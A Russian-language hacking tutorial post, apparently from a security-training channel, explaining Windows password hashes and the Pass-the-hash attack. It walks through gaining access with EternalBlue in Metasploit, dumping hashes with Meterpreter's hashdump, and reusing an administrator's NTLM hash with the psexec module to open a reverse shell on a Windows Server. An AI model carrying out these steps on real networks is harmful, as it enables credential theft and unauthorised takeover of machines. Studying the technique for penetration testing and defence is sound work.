Адский взлом
🥷 Приветствую друзья
И так, в прошлой статье мы познакомились с Active Directory. Теперь обсудим атаки, а именно мы познакомимся с атакой Pass-the-hash.
Перед тем как мы начнем, давайте разберем как выглядят пароли в Windows. Пароли в Windows хранятся в виде хешей, а хеш вполне себе может быть устойчив к взлому, в принципе ради этого и был придуман данный термин.
Но есть нюанс) В некоторых случаях можно вполне себе обойтись и без пароля в явном виде. Вначале научимся извлекать хэш в системе Windows 7 и далее перейдем к серверу Windows Server 2016. Пользователь, чей хэш мы будем получать, должен иметь административные привилегии и быть авторизованным на обеих машинах. В качестве рабочей среды будет использоваться Kali Linux.
Для начала разберемся из чего состоит хеш. В Windows хеш выглядит примерно так:
admin4:1000:aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6:::
Как мы можем увидеть строка состоит из четырех частей, которые разделены между собой двоеточиями. Первая часть - имя юзера. Вторая - относительный числовой идентификатор.
Интересное начинается с третьей части. Третья часть - это LM-хеш. Самостоятельно он перестал использоваться с версии Vista, поскольку взломать его не составляет труда.
Четвертая часть - это NTLM-хеш. Он используется уже в современных версиях системы и более устойчив к взлому.
Как только юзер вводит пароль от системы, он тут же начинает шифроваться., а учитывая этот момент, можно предположить, что система не видит разницы между паролем и хешем, и мы можем во время аутентификации воспользоваться хешем, вместо пароля в явном виде.
Напомню, что сейчас мы имеем дело с Windows 7, а достаточно распространенная уязвимость на Windows 7 называется EternalBlue.
EternalBlue - кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB.
Для реализации данной атаки можно воспользоваться Metasploit, модулем «eternalblue».
В Meterpreter есть полезная команда hashdump, которая позволяет выгрузить любые LM или NTLM хэши в целевой системе:
meterpreter > hashdump admin4:1000:aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6:::
Administrator:500:aad3b435b53404eeaad3b235b51404ee:21d6cfe0d16ae901b73c59d7e0c089c0::: Guest:501:aad3b135b51404eeaad3b495b51404ee:31d6cfe0d16ae931b93c59d7e0c079c0:::
Видим по результатам выгрузки, что у admin4 скорее всего административные права и его хеш будем использовать для подключения к остальным машинам.
Полученный хеш привилегированного пользователя можно использовать для аутентификации на сервере Windows Server 2016 без пароля в явном виде. Для этого будем использовать модуль psexec в Metasploit.
PsExec представляет собой утилиту, позволяющую работать из командной строки, для запуска программ и команд в удаленных системах.
В Metasploit есть улучшенная версия PsExec, которая позволяет подключаться к удаленным целям.
Вводим все опции, которые требует данный модуль: адрес сервера, к которому подключаемся, затем логин и пароль пользователя. Вот в этом моменте, мы как раз-таки используем полученный ранее хеш администратора.
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6
smbpass => aad3b435b51904eeaad3b423b51404ee:7179d3046e7ccfac0469f95588b6bdf6
И по итогам у нас появляется сессия к удаленному серверу без знания пароля.
msf5 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 10.10.0.1:1234[*] 10.
А значит мы получили полный доступ к системе. Не это ли прекрасно?) Какие моменты мы должны были для себя выявить:
- Pass-the-hash - это вектор атаки. Неважно, каким способом вы получите хеш юзера, главное его вычленить и далее уже по алгоритму pass-the-hash
- Система не видит разницы между паролем в открытом доступе и хешем этого пароля.
- При удачном раскладе всю работу возможно выполнить, используя один инструмент - MetaSploit.
🔥 Спасибо за прочтение, ставьте реакцию под постом
⚡️ Ссылка - Cyber Squad
🚀 Обучение - cyber-squad.pro
🥷 Задать вопрос - Fantom